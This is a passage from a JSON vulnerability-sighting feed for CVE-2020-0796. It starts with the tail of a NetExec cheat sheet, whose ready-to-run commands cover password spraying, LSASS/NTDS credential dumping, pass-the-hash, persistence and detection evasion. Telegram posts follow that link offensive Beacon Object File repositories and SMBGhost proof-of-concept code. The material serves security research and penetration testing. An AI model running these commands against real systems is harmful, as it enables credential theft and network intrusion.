modules\nnxc smb -M  --options           # Show module options\n```\n\n---\n\n## Common Attack Workflows\n\n### 1. Initial Enumeration\n```bash\n# Find hosts and check SMB signing\nnxc smb 192.168.1.0/24 --gen-relay-list relay.txt\n\n# Anonymous/Guest enumeration\nnxc smb 192.168.1.0/24 -u '' -p ''\nnxc smb 192.168.1.0/24 -u 'guest' -p ''\n\n# Check multiple protocols\nnxc smb 192.168.1.0/24\nnxc rdp 192.168.1.0/24 -u '' -p ''\nnxc winrm 192.168.1.0/24 -u '' -p ''\n```\n\n### 2. Password Spraying\n```bash\n# Single password spray (safe)\nnxc smb targets.txt -u users.txt -p 'Winter2024!' -d DOMAIN --continue-on-success\n\n# With fail limits\nnxc smb targets.txt -u users.txt -p passwords.txt --ufail-limit 3 --fail-limit 5\n\n# Check valid creds across multiple protocols\nnxc smb 192.168.1.10 -u admin -p pass\nnxc winrm 192.168.1.10 -u admin -p pass\nnxc mssql 192.168.1.10 -u admin -p pass\nnxc rdp 192.168.1.10 -u admin -p pass\n```\n\n### 3. Credential Dumping\n```bash\n# Local SAM\nnxc smb 192.168.1.10 -u admin -p pass --sam\n\n# LSASS memory\nnxc smb 192.168.1.10 -u admin -p pass -M lsassy\nnxc smb 192.168.1.10 -u admin -p pass -M nanodump\n\n# Domain Controller NTDS\nnxc smb dc01.domain.local -u admin -p pass --ntds\nnxc smb dc01.domain.local -u admin -p pass --ntds --enabled\n\n# DPAPI\nnxc smb 192.168.1.10 -u admin -p pass --dpapi cookies\n```\n\n### 4. Domain Enumeration\n```bash\n# Users and groups\nnxc ldap dc01.domain.local -u user -p pass --users --groups\n\n# Kerberoastable accounts\nnxc ldap dc01.domain.local -u user -p pass --kerberoasting kerberoast.txt\n\n# ASREProastable accounts\nnxc ldap dc01.domain.local -u user -p pass --asreproast asrep.txt\n\n# Bloodhound data\nnxc ldap dc01.domain.local -u user -p pass --bloodhound -c All\n\n# Find vulnerabilities\nnxc ldap dc01.domain.local -u user -p pass -M adcs\nnxc ldap dc01.domain.local -u user -p pass -M laps\n```\n\n### 5. Lateral Movement\n```bash\n# Pass-the-Hash\nnxc smb targets.txt -u admin -H  -x \"hostname\"\n\n# Execute on multiple targets\nnxc smb targets.txt -u admin -p pass -x \"whoami\"\nnxc winrm targets.txt -u admin -p pass -x \"ipconfig\"\n\n# Spray hashes\nnxc smb targets.txt -u users.txt -H hashes.txt --continue-on-success\n```\n\n### 6. Post-Exploitation\n```bash\n# Persistence\nnxc smb 192.168.1.10 -u admin -p pass -M rdp -o ACTION=enable\nnxc smb 192.168.1.10 -u admin -p pass -M wdigest -o ACTION=enable\n\n# Credential hunting\nnxc smb 192.168.1.10 -u admin -p pass -M spider_plus\nnxc smb 192.168.1.10 -u admin -p pass -M gpp_password\nnxc smb 192.168.1.10 -u admin -p pass -M keepass_discover\n\n# Application credentials\nnxc smb 192.168.1.10 -u admin -p pass -M putty\nnxc smb 192.168.1.10 -u admin -p pass -M winscp\nnxc smb 192.168.1.10 -u admin -p pass -M wifi\n```\n\n---\n\n## Tips & Best Practices\n\n- Use `--continue-on-success` for password spraying to find all valid credentials\n- Use `--no-bruteforce` to stop after first valid credential per host (avoid lockouts)\n- Add `--jitter` to introduce random delays and avoid detection\n- Use `--ufail-limit` and `--fail-limit` to prevent account lockouts\n- Check SMB signing with basic scan before relay attacks\n- Use LDAP for domain enumeration (less noisy than SMB)\n- Pass-the-Hash only needs NTLM hash (not LM)\n- Always specify `-d DOMAIN` or `--local-auth` explicitly\n- Use `cmedb` to review all findings in the database\n- Module options: `-M module_name -o OPTION=value`\n- Rate limit yourself to avoid account lockouts and detection\n- Use `--no-progress` when logging output to files\n- Test authentication across multiple protocols (SMB, WinRM, RDP, MSSQL)\n\n---\n\n## Resources\n\n- **GitHub**: https://github.com/Pennyw0rth/NetExec\n- **Wiki**: https://www.netexec.wiki/\n- **Modules**: https://www.netexec.wiki/getting-started/using-modules", "creation_timestamp": "2026-07-01T08:13:49.746399Z"}, {"uuid": "169ab351-30b9-4099-8f6c-5ebb51fe38f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "Telegram/E5KRnkwUzPb1MqcyoZsVxZDcFPlO2m1qbJ_g0disKwgqjw", "content": "", "creation_timestamp": "2026-08-15T08:00:12.273804Z"}, {"uuid": "a8fdfde2-9637-47d2-bf94-208a8e1e2514", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "Telegram/EmKj5EqcaOBNcKcIB08p1iyk_mOh5-CdU4o3pEF_71GNgA", "content": "", "creation_timestamp": "2026-08-15T08:00:12.321989Z"}, {"uuid": "db82f463-b78b-4bf2-a5c3-f9549fada4d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "Telegram/JhIM-i5C42wkuBlfdKsX7EPZv9ZJj6sUwqPRuCX_qIifDg", "content": "", "creation_timestamp": "2026-08-15T08:00:12.440291Z"}, {"uuid": "a25f2f4c-c1a0-49fe-abff-cc5acc31b689", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "Telegram/7TfBOfW9Rj4wLWwHEFM63euj_auAtu3XIQYGc8cHN7dxTg", "content": "", "creation_timestamp": "2026-08-15T08:00:12.477994Z"}, {"uuid": "2181ecfa-3ece-436e-8026-e5b09c63da0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/CyberSecurityExploit/29967", "content": "\ud83d\udd25 Advanced Red Team Tools \u2014 Top 20 BOF Repositories\n\nIn-Memory Beacon Object File (BOF) Modules for Red Teams\n\nThis is a curated list of 20 hidden or lesser-known BOF repositories on GitHub.\nBOFs are lightweight in-memory modules designed to run inside C2 agents such as Cobalt Strike, Havoc, or Adaptix, allowing Red Teams to extend post-exploitation capabilities without dropping full executables.\n\n\ud83d\udccc Purpose:\n\u2022 System enumeration\n\u2022 Credential collection\n\u2022 Process and memory analysis\n\u2022 Privilege escalation research\n\u2022 Firewall, clipboard, and network utility functions\n\n\ud83d\udccc Top 20 BOF GitHub Repositories\n1\ufe0f\u20e3 Cobalt\u2011Strike/bof_template \u2014 Official BOF template & examples\n\ud83d\udc49 https://github.com/Cobalt-Strike/bof_template\n\n2\ufe0f\u20e3 REDMED\u2011X/OperatorsKit \u2014 BOF module kit for post-exploitation tasks\n\ud83d\udc49 https://github.com/REDMED-X/OperatorsKit\n\n3\ufe0f\u20e3 hrtywhy/BOF\u2011CobaltStrike \u2014 Collection of useful BOF modules\n\ud83d\udc49 https://github.com/hrtywhy/BOF-CobaltStrike\n\n4\ufe0f\u20e3 CS\u2011Situational\u2011Awareness\u2011BOF \u2014 Situational awareness BOF modules\n\ud83d\udc49 https://github.com/trustedsec/CS-Situational-Awareness-BOF\n\n5\ufe0f\u20e3 N7WEra/BofAllTheThings \u2014 Comprehensive BOF collection\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings\n\n6\ufe0f\u20e3 Cobalt\u2011Strike/bof\u2011vs \u2014 Visual Studio BOF template\n\ud83d\udc49 https://github.com/Cobalt-Strike/bof-vs\n\n7\ufe0f\u20e3 ricardojoserf/BOF_Files \u2014 Personal BOF module collection\n\ud83d\udc49 https://github.com/ricardojoserf/BOF_Files\n\n8\ufe0f\u20e3 Lavender\u2011exe/BofCollection \u2014 Havoc-compatible BOF collection\n\ud83d\udc49 https://github.com/Lavender-exe/BofCollection\n\n9\ufe0f\u20e3 soheil\u201101/coff_loader \u2014 COFF/BOF loader experiments\n\ud83d\udc49 https://github.com/soheil-01/coff_loader\n\n1\ufe0f\u20e30\ufe0f\u20e3 TrustedSec/ZeroLogon\u2011BOF \u2014 ZeroLogon exploit BOF example\n\ud83d\udc49 https://github.com/TrustedSec/ZeroLogon-BOF\n\n1\ufe0f\u20e31\ufe0f\u20e3 TrustedSec/CVE\u20112020\u20110796\u2011BOF \u2014 SMBv3 vulnerability BOF example\n\ud83d\udc49 https://github.com/TrustedSec/CVE-2020-0796-BOF\n\n1\ufe0f\u20e32\ufe0f\u20e3 Cobalt\u2011Strike/unhook\u2011bof \u2014 Beacon API unhook BOF module\n\ud83d\udc49 https://github.com/Cobalt-Strike/unhook-bof\n\n1\ufe0f\u20e33\ufe0f\u20e3 wsummerhill/CobaltStrike_BOF_Collections \u2014 Legacy BOF module collection\n\ud83d\udc49 https://github.com/wsummerhill/CobaltStrike_BOF_Collections\n\n1\ufe0f\u20e34\ufe0f\u20e3 Boku7/xPipe \u2014 Pipe information BOF utility (from BofAllTheThings)\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/xPipe\n\n1\ufe0f\u20e35\ufe0f\u20e3 DallasFR/Cobalt\u2011Clip \u2014 Clipboard monitoring BOF (from BofAllTheThings)\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/Clipboard\n\n1\ufe0f\u20e36\ufe0f\u20e3 EspressoCake/Firewall_Walker_BOF \u2014 Windows Firewall BOF module\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/Firewall_Walker\n\n1\ufe0f\u20e37\ufe0f\u20e3 EspressoCake/Process_Protection_Level_BOF \u2014 Process Protection Level BOF\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/Process_Protection_Level\n\n1\ufe0f\u20e38\ufe0f\u20e3 trainr3kt/NoteThief \u2014 Notepad unsaved data capture BOF\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/NoteThief\n\n1\ufe0f\u20e39\ufe0f\u20e3 jsecu/CredManBOF \u2014 Credential Manager BOF module\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/CredManBOF\n\n2\ufe0f\u20e30\ufe0f\u20e3 xforcered/CredBandit \u2014 Memory process dump BOF module\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/CredBandit\n\n\ud83e\udde0 Quick Notes\n\u2022 Most of these BOFs are Cobalt Strike-focused, but several are compatible with Havoc and other C2 frameworks.\n\u2022 BOFs are executed in-memory, reducing disk artifacts and improving stealth.\n\u2022 These modules cover tasks like credential harvesting, system enumeration, privilege escalation, and network/endpoint exploration.\n\n\ud83d\udccd Explore more BOF repos:\nGitHub topic: https://github.com/topics/beacon-object-file\n\n\ud83d\udca1 Red Team Insight\nBOFs allow Red Teams to rapidly extend agent functionality while minimizing forensic traces.\nA well-curated BOF toolkit improves post-exploitation efficiency, stealth, and modular attack workflow.\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:07.445268Z"}, {"uuid": "1d040ca1-13ae-488c-8d38-0d431a042f70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "Telegram/7TfBOfW9Rj4wLWwHEFM63euj_auAtu3XIQYGc8cHN7dxTg", "content": "", "creation_timestamp": "2026-08-16T00:00:10.512264Z"}, {"uuid": "54726d5e-e000-487b-a2df-f58203480c92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "Telegram/JhIM-i5C42wkuBlfdKsX7EPZv9ZJj6sUwqPRuCX_qIifDg", "content": "", "creation_timestamp": "2026-08-16T00:00:10.565670Z"}, {"uuid": "bbfef7f5-224a-4050-8f6f-e8e99dceb21e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "Telegram/EmKj5EqcaOBNcKcIB08p1iyk_mOh5-CdU4o3pEF_71GNgA", "content": "", "creation_timestamp": "2026-08-16T00:00:10.756743Z"}, {"uuid": "6d90d365-dde4-4bcf-bb90-b57d3144e791", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "exploited", "source": "Telegram/E5KRnkwUzPb1MqcyoZsVxZDcFPlO2m1qbJ_g0disKwgqjw", "content": "", "creation_timestamp": "2026-08-16T00:00:10.811374Z"}, {"uuid": "c12d1fe4-f5e4-455a-99ec-87c60e5c05d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "MISP/48e15610-a505-4067-8dec-4627e36bcbe7", "content": "", "creation_timestamp": "2026-07-10T00:15:03.909595Z"}, {"uuid": "eb6bf6e9-f9ab-4a60-872c-d66e725b53b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/29967", "content": "\ud83d\udd25 Advanced Red Team Tools \u2014 Top 20 BOF Repositories\n\nIn-Memory Beacon Object File (BOF) Modules for Red Teams\n\nThis is a curated list of 20 hidden or lesser-known BOF repositories on GitHub.\nBOFs are lightweight in-memory modules designed to run inside C2 agents such as Cobalt Strike, Havoc, or Adaptix, allowing Red Teams to extend post-exploitation capabilities without dropping full executables.\n\n\ud83d\udccc Purpose:\n\u2022 System enumeration\n\u2022 Credential collection\n\u2022 Process and memory analysis\n\u2022 Privilege escalation research\n\u2022 Firewall, clipboard, and network utility functions\n\n\ud83d\udccc Top 20 BOF GitHub Repositories\n1\ufe0f\u20e3 Cobalt\u2011Strike/bof_template \u2014 Official BOF template & examples\n\ud83d\udc49 https://github.com/Cobalt-Strike/bof_template\n\n2\ufe0f\u20e3 REDMED\u2011X/OperatorsKit \u2014 BOF module kit for post-exploitation tasks\n\ud83d\udc49 https://github.com/REDMED-X/OperatorsKit\n\n3\ufe0f\u20e3 hrtywhy/BOF\u2011CobaltStrike \u2014 Collection of useful BOF modules\n\ud83d\udc49 https://github.com/hrtywhy/BOF-CobaltStrike\n\n4\ufe0f\u20e3 CS\u2011Situational\u2011Awareness\u2011BOF \u2014 Situational awareness BOF modules\n\ud83d\udc49 https://github.com/trustedsec/CS-Situational-Awareness-BOF\n\n5\ufe0f\u20e3 N7WEra/BofAllTheThings \u2014 Comprehensive BOF collection\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings\n\n6\ufe0f\u20e3 Cobalt\u2011Strike/bof\u2011vs \u2014 Visual Studio BOF template\n\ud83d\udc49 https://github.com/Cobalt-Strike/bof-vs\n\n7\ufe0f\u20e3 ricardojoserf/BOF_Files \u2014 Personal BOF module collection\n\ud83d\udc49 https://github.com/ricardojoserf/BOF_Files\n\n8\ufe0f\u20e3 Lavender\u2011exe/BofCollection \u2014 Havoc-compatible BOF collection\n\ud83d\udc49 https://github.com/Lavender-exe/BofCollection\n\n9\ufe0f\u20e3 soheil\u201101/coff_loader \u2014 COFF/BOF loader experiments\n\ud83d\udc49 https://github.com/soheil-01/coff_loader\n\n1\ufe0f\u20e30\ufe0f\u20e3 TrustedSec/ZeroLogon\u2011BOF \u2014 ZeroLogon exploit BOF example\n\ud83d\udc49 https://github.com/TrustedSec/ZeroLogon-BOF\n\n1\ufe0f\u20e31\ufe0f\u20e3 TrustedSec/CVE\u20112020\u20110796\u2011BOF \u2014 SMBv3 vulnerability BOF example\n\ud83d\udc49 https://github.com/TrustedSec/CVE-2020-0796-BOF\n\n1\ufe0f\u20e32\ufe0f\u20e3 Cobalt\u2011Strike/unhook\u2011bof \u2014 Beacon API unhook BOF module\n\ud83d\udc49 https://github.com/Cobalt-Strike/unhook-bof\n\n1\ufe0f\u20e33\ufe0f\u20e3 wsummerhill/CobaltStrike_BOF_Collections \u2014 Legacy BOF module collection\n\ud83d\udc49 https://github.com/wsummerhill/CobaltStrike_BOF_Collections\n\n1\ufe0f\u20e34\ufe0f\u20e3 Boku7/xPipe \u2014 Pipe information BOF utility (from BofAllTheThings)\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/xPipe\n\n1\ufe0f\u20e35\ufe0f\u20e3 DallasFR/Cobalt\u2011Clip \u2014 Clipboard monitoring BOF (from BofAllTheThings)\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/Clipboard\n\n1\ufe0f\u20e36\ufe0f\u20e3 EspressoCake/Firewall_Walker_BOF \u2014 Windows Firewall BOF module\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/Firewall_Walker\n\n1\ufe0f\u20e37\ufe0f\u20e3 EspressoCake/Process_Protection_Level_BOF \u2014 Process Protection Level BOF\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/Process_Protection_Level\n\n1\ufe0f\u20e38\ufe0f\u20e3 trainr3kt/NoteThief \u2014 Notepad unsaved data capture BOF\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/NoteThief\n\n1\ufe0f\u20e39\ufe0f\u20e3 jsecu/CredManBOF \u2014 Credential Manager BOF module\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/CredManBOF\n\n2\ufe0f\u20e30\ufe0f\u20e3 xforcered/CredBandit \u2014 Memory process dump BOF module\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/CredBandit\n\n\ud83e\udde0 Quick Notes\n\u2022 Most of these BOFs are Cobalt Strike-focused, but several are compatible with Havoc and other C2 frameworks.\n\u2022 BOFs are executed in-memory, reducing disk artifacts and improving stealth.\n\u2022 These modules cover tasks like credential harvesting, system enumeration, privilege escalation, and network/endpoint exploration.\n\n\ud83d\udccd Explore more BOF repos:\nGitHub topic: https://github.com/topics/beacon-object-file\n\n\ud83d\udca1 Red Team Insight\nBOFs allow Red Teams to rapidly extend agent functionality while minimizing forensic traces.\nA well-curated BOF toolkit improves post-exploitation efficiency, stealth, and modular attack workflow.\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-16T00:00:23.844496Z"}, {"uuid": "fea00961-b8d7-4d9b-bb40-e735d553ee2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/pleyades_it/5958", "content": "\u2705 Microsoft publica correcci\u00f3n para la vulnerabilidad CVE-2020-0796 de tipo RCE que afecta al protocolo SMBv3.\nhttp://bit.ly/2IIhI83", "creation_timestamp": "2026-07-12T22:00:18.471633Z"}, {"uuid": "9d9b64dd-22e4-439b-b876-623e29e308ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/pleyades_it/5958", "content": "\u2705 Microsoft publica correcci\u00f3n para la vulnerabilidad CVE-2020-0796 de tipo RCE que afecta al protocolo SMBv3.\nhttp://bit.ly/2IIhI83", "creation_timestamp": "2026-07-13T00:00:42.135337Z"}, {"uuid": "d6ffb175-a494-426a-92f1-748675626d70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/pleyades_it/5958", "content": "\u2705 Microsoft publica correcci\u00f3n para la vulnerabilidad CVE-2020-0796 de tipo RCE que afecta al protocolo SMBv3.\nhttp://bit.ly/2IIhI83", "creation_timestamp": "2026-07-14T00:00:48.754511Z"}, {"uuid": "6d071bea-7d28-4185-b8aa-a519e6a9fb52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "Telegram/cp2rVOV36WL3kV8x4_ScnxuKP0fsnO5ojw1d2EB8ZtBxrfQ", "content": "", "creation_timestamp": "2026-07-16T19:00:30.294354Z"}, {"uuid": "2e6261e3-292d-46ce-82c3-227835d9439a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "Telegram/cp2rVOV36WL3kV8x4_ScnxuKP0fsnO5ojw1d2EB8ZtBxrfQ", "content": "", "creation_timestamp": "2026-07-17T00:00:46.989345Z"}, {"uuid": "97c5db70-d640-46da-b5cc-b3e87afb38b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "Telegram/cp2rVOV36WL3kV8x4_ScnxuKP0fsnO5ojw1d2EB8ZtBxrfQ", "content": "", "creation_timestamp": "2026-07-18T03:00:03.527112Z"}, {"uuid": "d6c3cfb5-8f40-43fe-b41e-e283cec87068", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/reverseame/132", "content": "RCE PoC for CVE-2020-0796 \"SMBGhost\" https://github.com/chompie1337/SMBGhost_RCE_PoC", "creation_timestamp": "2026-07-18T15:00:05.357682Z"}, {"uuid": "9fb65e8b-ddb7-4715-8133-b48dfea219a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/132", "content": "RCE PoC for CVE-2020-0796 \"SMBGhost\" https://github.com/chompie1337/SMBGhost_RCE_PoC", "creation_timestamp": "2026-07-19T00:00:11.732884Z"}, {"uuid": "3509ef2b-6751-4fc8-b0a2-0ba483bda964", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "Telegram/cp2rVOV36WL3kV8x4_ScnxuKP0fsnO5ojw1d2EB8ZtBxrfQ", "content": "", "creation_timestamp": "2026-07-19T00:00:30.467964Z"}, {"uuid": "89f947ea-ffec-4c01-bfb2-70d5d3a4d225", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/CyberSecurityExploit/17024", "content": "\ud83d\udd25 Advanced Red Team Tools \u2014 Top 20 BOF Repositories\n\nIn-Memory Beacon Object File (BOF) Modules for Red Teams\n\nThis is a curated list of 20 hidden or lesser-known BOF repositories on GitHub.\nBOFs are lightweight in-memory modules designed to run inside C2 agents such as Cobalt Strike, Havoc, or Adaptix, allowing Red Teams to extend post-exploitation capabilities without dropping full executables.\n\n\ud83d\udccc Purpose:\n\u2022 System enumeration\n\u2022 Credential collection\n\u2022 Process and memory analysis\n\u2022 Privilege escalation research\n\u2022 Firewall, clipboard, and network utility functions\n\n\ud83d\udccc Top 20 BOF GitHub Repositories\n1\ufe0f\u20e3 Cobalt\u2011Strike/bof_template \u2014 Official BOF template & examples\n\ud83d\udc49 https://github.com/Cobalt-Strike/bof_template\n\n2\ufe0f\u20e3 REDMED\u2011X/OperatorsKit \u2014 BOF module kit for post-exploitation tasks\n\ud83d\udc49 https://github.com/REDMED-X/OperatorsKit\n\n3\ufe0f\u20e3 hrtywhy/BOF\u2011CobaltStrike \u2014 Collection of useful BOF modules\n\ud83d\udc49 https://github.com/hrtywhy/BOF-CobaltStrike\n\n4\ufe0f\u20e3 CS\u2011Situational\u2011Awareness\u2011BOF \u2014 Situational awareness BOF modules\n\ud83d\udc49 https://github.com/trustedsec/CS-Situational-Awareness-BOF\n\n5\ufe0f\u20e3 N7WEra/BofAllTheThings \u2014 Comprehensive BOF collection\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings\n\n6\ufe0f\u20e3 Cobalt\u2011Strike/bof\u2011vs \u2014 Visual Studio BOF template\n\ud83d\udc49 https://github.com/Cobalt-Strike/bof-vs\n\n7\ufe0f\u20e3 ricardojoserf/BOF_Files \u2014 Personal BOF module collection\n\ud83d\udc49 https://github.com/ricardojoserf/BOF_Files\n\n8\ufe0f\u20e3 Lavender\u2011exe/BofCollection \u2014 Havoc-compatible BOF collection\n\ud83d\udc49 https://github.com/Lavender-exe/BofCollection\n\n9\ufe0f\u20e3 soheil\u201101/coff_loader \u2014 COFF/BOF loader experiments\n\ud83d\udc49 https://github.com/soheil-01/coff_loader\n\n1\ufe0f\u20e30\ufe0f\u20e3 TrustedSec/ZeroLogon\u2011BOF \u2014 ZeroLogon exploit BOF example\n\ud83d\udc49 https://github.com/TrustedSec/ZeroLogon-BOF\n\n1\ufe0f\u20e31\ufe0f\u20e3 TrustedSec/CVE\u20112020\u20110796\u2011BOF \u2014 SMBv3 vulnerability BOF example\n\ud83d\udc49 https://github.com/TrustedSec/CVE-2020-0796-BOF\n\n1\ufe0f\u20e32\ufe0f\u20e3 Cobalt\u2011Strike/unhook\u2011bof \u2014 Beacon API unhook BOF module\n\ud83d\udc49 https://github.com/Cobalt-Strike/unhook-bof\n\n1\ufe0f\u20e33\ufe0f\u20e3 wsummerhill/CobaltStrike_BOF_Collections \u2014 Legacy BOF module collection\n\ud83d\udc49 https://github.com/wsummerhill/CobaltStrike_BOF_Collections\n\n1\ufe0f\u20e34\ufe0f\u20e3 Boku7/xPipe \u2014 Pipe information BOF utility (from BofAllTheThings)\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/xPipe\n\n1\ufe0f\u20e35\ufe0f\u20e3 DallasFR/Cobalt\u2011Clip \u2014 Clipboard monitoring BOF (from BofAllTheThings)\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/Clipboard\n\n1\ufe0f\u20e36\ufe0f\u20e3 EspressoCake/Firewall_Walker_BOF \u2014 Windows Firewall BOF module\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/Firewall_Walker\n\n1\ufe0f\u20e37\ufe0f\u20e3 EspressoCake/Process_Protection_Level_BOF \u2014 Process Protection Level BOF\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/Process_Protection_Level\n\n1\ufe0f\u20e38\ufe0f\u20e3 trainr3kt/NoteThief \u2014 Notepad unsaved data capture BOF\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/NoteThief\n\n1\ufe0f\u20e39\ufe0f\u20e3 jsecu/CredManBOF \u2014 Credential Manager BOF module\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/CredManBOF\n\n2\ufe0f\u20e30\ufe0f\u20e3 xforcered/CredBandit \u2014 Memory process dump BOF module\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/CredBandit\n\n\ud83e\udde0 Quick Notes\n\u2022 Most of these BOFs are Cobalt Strike-focused, but several are compatible with Havoc and other C2 frameworks.\n\u2022 BOFs are executed in-memory, reducing disk artifacts and improving stealth.\n\u2022 These modules cover tasks like credential harvesting, system enumeration, privilege escalation, and network/endpoint exploration.\n\n\ud83d\udccd Explore more BOF repos:\nGitHub topic: https://github.com/topics/beacon-object-file\n\n\ud83d\udca1 Red Team Insight\nBOFs allow Red Teams to rapidly extend agent functionality while minimizing forensic traces.\nA well-curated BOF toolkit improves post-exploitation efficiency, stealth, and modular attack workflow.\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:08.888324Z"}, {"uuid": "e1499bef-189f-4fdb-8b2f-14e1a3f7ccc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/CVEhub/13929", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2020-0796*\nGithub: https://github.com/Ajomix/CVE-2020-0796", "creation_timestamp": 